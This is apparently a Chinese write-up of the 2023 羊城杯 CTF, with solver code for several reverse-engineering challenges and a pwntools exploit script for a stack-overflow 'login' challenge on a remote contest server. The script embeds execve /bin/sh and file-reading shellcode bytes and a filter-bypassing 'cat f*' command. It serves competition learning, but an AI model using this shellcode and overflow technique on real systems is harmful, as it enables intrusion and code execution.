2023-羊城杯-wp

2023 羊城杯 wp

re

vm_wo

字节码很少,分析一下可以得到整个加密执行的逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <iostream>
#include "defs.h"

void get_ops() {
_QWORD v5[2] = {0}; // [xsp+8h] [xbp-98h] BYREF
_QWORD v6[2] = {0}; // [xsp+18h] [xbp-88h] BYREF
_QWORD v7[2] = {0}; // [xsp+28h] [xbp-78h] BYREF
_QWORD v8[2] = {0};
v8[0] = 0x20D01011903001ALL;
*(_QWORD *)((char *)v8 + 7) = 0x300010201180702LL;
BYTE2(v8[0]) = 0x66;
_BYTE *tmp = (_BYTE *)v8;
for (int i = 0; i < 16; i++) {
printf("%02x ", tmp[i]);
}
printf("\n");
v7[0] = 0x20D02011903001ALL;
*(_QWORD *)((char *)v7 + 7) = 0x400010201180602LL;
BYTE2(v7[0]) = 0x66;
tmp = (_BYTE *)v7;
for (int i = 0; i < 16; i++) {
printf("%02x ", tmp[i]);
}
printf("\n");
v6[0] = 0x20D03011903001ALL;
*(_QWORD *)((char *)v6 + 7) = 0x500010201180502LL;
BYTE2(v6[0]) = 0x66;
tmp = (_BYTE *)v6;
for (int i = 0; i < 16; i++) {
printf("%02x ", tmp[i]);
}
printf("\n");
v5[0] = 0x20D04011903001ALL;
*(_QWORD *)((char *)v5 + 7) = 0x600010201180402LL;
BYTE2(v5[0]) = 0x66;
tmp = (_BYTE *)v5;
for (int i = 0; i < 16; i++) {
printf("%02x ", tmp[i]);
}
printf("\n");
}

/*
vm[op1] = op2
vm[op1]=vm[0]>>op2
vm[op1]=vm[0]<<op2
vm[0]=vm[1]|vm[2]
vm[op1]^=vm[op2]

ops:
vm[0]=a1
vm[1]=vm[0]>>1
vm[2]=vm[0]<<7
vm[0]=vm[1]|vm[2]
vm[0]^=vm[3]

vm[1]=vm[0]>>2
vm[2]=vm[0]<<6
vm[0]=vm[1]|vm[2]
vm[0]^=vm[4]

vm[1]=vm[0]>>3
vm[2]=vm[0]<<5
vm[0]=vm[1]|vm[2]
vm[0]^=vm[5]

vm[1]=vm[0]>>4
vm[2]=vm[0]<<4
vm[0]=vm[1]|vm[2]
vm[0]^=vm[6]


vm[0]=(vm[0]>>5)|(vm[0]<<3)
*/

根据结果反过来求解即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <iostream>

unsigned char res[30] = {
0xDF, 0xD5, 0xF1, 0xD1, 0xFF, 0xDB, 0xA1, 0xA5, 0x89, 0xBD, 0xE9, 0x95, 0xB3, 0x9D, 0xE9, 0xB3,
0x85, 0x99, 0x87, 0xBF, 0xE9, 0xB1, 0x89, 0xE9, 0x91, 0x89, 0x89, 0x8F, 0xAD, 0x00
};
int main()
{
unsigned char ivs[4]={0xEF,0xBE,0xED,0xBE};
unsigned char vm=0;
for(int i=0;i<29;i++)
{
vm=res[i];
vm=(vm<<5)|(vm>>3);

vm^=ivs[3];
vm=(vm<<4)|(vm>>4);

vm^=ivs[2];
vm=(vm<<3)|(vm>>5);

vm^=ivs[1];
vm=(vm<<2)|(vm>>6);

vm^=ivs[0];
vm=(vm<<1)|(vm>>7);

printf("%c",vm);
}
}

Ez加密器

首先输入verification code和flag,进行第一步的判断

这一部分判断verification code的长度为6,只包含数字,flag长度为40,格式为DASCTF{*}

之后对verification code做一个换表的base64,并用结果作为DES的密钥加密flag,转换成字符并和硬编码的结果进行对比。

由于不知道verification code,所以需要爆破,但是只有6位数字,难度不大,用pwntools的mbruteforce多线程爆破基本秒出结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import base64
from pwn import *
from pwnlib.util.iters import mbruteforce
def hash(x):
str1 = x.encode()

string1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

password=base64.b64encode(str1).decode().translate(str.maketrans(string2,string1)).encode()

from Crypto.Cipher import DES
from binascii import a2b_hex

aes = DES.new(password,DES.MODE_ECB) #创建一个aes对象

en_text = a2b_hex("0723105D5C12217DCDC3601F5ECB54DA9CCEC2279F1684A13A0D716D17217F4C9EA85FF1A42795731CA3C55D3A4D7BEA")
den_text = aes.decrypt(en_text)
# print(den_text)
return den_text.startswith(b"DASCTF{")

# mbruteforce(hash, string.digits, 6, method='fixed')

str1=b"151490"
string1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

password=base64.b64encode(str1).decode().translate(str.maketrans(string2,string1)).encode()

from Crypto.Cipher import DES
from binascii import a2b_hex

aes = DES.new(password,DES.MODE_ECB) #创建一个aes对象

en_text = a2b_hex("0723105D5C12217DCDC3601F5ECB54DA9CCEC2279F1684A13A0D716D17217F4C9EA85FF1A42795731CA3C55D3A4D7BEA")
den_text = aes.decrypt(en_text)
print(den_text)

csgo

换表base64

blast

两次md5,用所有可见字符打一个hash表,然后查表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from hashlib import md5

from pwn import *

table = string.printable


def hash(x):
m = md5()
m.update(x.encode())
return m.hexdigest()


maps = list(map(lambda x:hash(hash(x)), table))
# print(maps)

# print(hash(hash('H')))
flag = ['14d89c38cd0fb23a14be2798d449c182',
'a94837b18f8f43f29448b40a6e7386ba',
'af85d512594fc84a5c65ec9970956ea5',
'af85d512594fc84a5c65ec9970956ea5',
'10e21da237a4a1491e769df6f4c3b419',
'a705e8280082f93f07e3486636f3827a',
'297e7ca127d2eef674c119331fe30dff',
'b5d2099e49bdb07b8176dff5e23b3c14',
'83be264eb452fcf0a1c322f2c7cbf987',
'a94837b18f8f43f29448b40a6e7386ba',
'71b0438bf46aa26928c7f5a371d619e1',
'a705e8280082f93f07e3486636f3827a',
'ac49073a7165f41c57eb2c1806a7092e',
'a94837b18f8f43f29448b40a6e7386ba',
'af85d512594fc84a5c65ec9970956ea5',
'ed108f6919ebadc8e809f8b86ef40b05',
'10e21da237a4a1491e769df6f4c3b419',
'3cfd436919bc3107d68b912ee647f341',
'a705e8280082f93f07e3486636f3827a',
'65c162f7c43612ba1bdf4d0f2912bbc0',
'10e21da237a4a1491e769df6f4c3b419',
'a705e8280082f93f07e3486636f3827a',
'3cfd436919bc3107d68b912ee647f341',
'557460d317ae874c924e9be336a83cbe',
'a705e8280082f93f07e3486636f3827a',
'9203d8a26e241e63e4b35b3527440998',
'10e21da237a4a1491e769df6f4c3b419',
'f91b2663febba8a884487f7de5e1d249',
'a705e8280082f93f07e3486636f3827a',
'd7afde3e7059cd0a0fe09eec4b0008cd',
'488c428cd4a8d916deee7c1613c8b2fd',
'39abe4bca904bca5a11121955a2996bf',
'a705e8280082f93f07e3486636f3827a',
'3cfd436919bc3107d68b912ee647f341',
'39abe4bca904bca5a11121955a2996bf',
'4e44f1ac85cd60e3caa56bfd4afb675e',
'45cf8ddfae1d78741d8f1c622689e4af',
'3cfd436919bc3107d68b912ee647f341',
'39abe4bca904bca5a11121955a2996bf',
'4e44f1ac85cd60e3caa56bfd4afb675e',
'37327bb06c83cb29cefde1963ea588aa',
'a705e8280082f93f07e3486636f3827a',
'23e65a679105b85c5dc7034fded4fb5f',
'10e21da237a4a1491e769df6f4c3b419',
'71b0438bf46aa26928c7f5a371d619e1',
'af85d512594fc84a5c65ec9970956ea5',
'39abe4bca904bca5a11121955a2996bf']

f=""
for i in flag:
f+=table[maps.index(i)]

print(f)

pwn

login

长度被截断为byte,输入长度0x100绕过,修改返回地址为后门,后门中对sh和flag进行了过滤,不需要拿shell所以直接通配符匹配flag就行,不过直接使用$0也可以执行sh。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3

# %%
from pwn import *
from LibcSearcher import *

exe = ELF("./pwn_patched")
libc = ELF("./libc.so.6")

# context.binary = exe
context.os = 'linux'
# context.arch = context.binary.arch
# context.terminal = ['alacritty', '-e']
context.terminal = ['wt.exe', 'wsl', '--']

local = False
if local:
context.log_level = 'debug'
p = process([exe.path])
else:
p = remote("tcp.cloud.dasctf.com",xxxx)


def dbgaddr(addr, PIE=False): # PIE enabled
if local:
if PIE:
text_base = int(
os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
log.info(f'b *{hex(text_base + addr)}\n')
gdb.attach(p, f'b *{hex(text_base + addr)}')
else:
gdb.attach(p, f'b *{hex(addr)}')


def dbg(func=''):
if local:
gdb.attach(p, func)

def main_arena():
# from ptrlib
ofs_stdin = libc.sym._IO_2_1_stdin_
ofs_realloc_hook = libc.sym.__realloc_hook
ofs_malloc_hook = libc.sym.__malloc_hook
if ofs_realloc_hook is None \
or ofs_malloc_hook is None \
or ofs_stdin is None:
return None

if 0 < ofs_malloc_hook - ofs_stdin < 0x1000:
# libc-2.33 or older
if context.bits == 32:
return ofs_malloc_hook + 0x18
else:
return ofs_malloc_hook + (ofs_malloc_hook - ofs_realloc_hook)*2

else:
# libc-2.34 removed hooks
ofs_tzname = libc.sym.tzname
if ofs_tzname is None:
return None
if context.bits == 32:
return ofs_tzname - 0x460
else:
return ofs_tzname - 0x8a0

def ROL(content, key):
# house of emma
# ROL(gadget_addr ^ fake_pointer_guard, 0x11)
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)

# dbgaddr(0xdeadbeef,PIE=False)
# dbg("main")

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b'\x00'))
uu64 = lambda data: u64(data.ljust(8, b'\x00'))
li = lambda str, data: log.success(str + '========>' + hex(data))

# https://www.exploit-db.com/shellcodes
execve_bin_sh = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
execveat_bin_sh = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
cat_flag = b"\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x67\x6d\x60\x66\x01\x01\x01\x48\x31\x04\x24\x6a\x02\x58\x48\x89\xe7\x31\xf6\x99\x0f\x05\x41\xba\xff\xff\xff\x7f\x48\x89\xc6\x6a\x28\x58\x6a\x01\x5f\x99\x0f\x05"
ls_current_dir = b"\x68\x2f\x2e\x01\x01\x81\x34\x24\x01\x01\x01\x01\x48\x89\xe7\x31\xd2\xbe\x01\x01\x02\x01\x81\xf6\x01\x01\x03\x01\x6a\x02\x58\x0f\x05\x48\x89\xc7\x31\xd2\xb6\x03\x48\x89\xe6\x6a\x4e\x58\x0f\x05\x6a\x01\x5f\x31\xd2\xb6\x03\x48\x89\xe6\x6a\x01\x58\x0f\x05"

# %%
back=0x123456ee
sla("name:",b"aaa")
sa("words",b"a"*256+p32(back)+b"\x00")
sa("exec","cat f*\x00")

# %%

p.interactive()
hitcon-quals-2023 catdoc 0.95 nullptr dereference

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×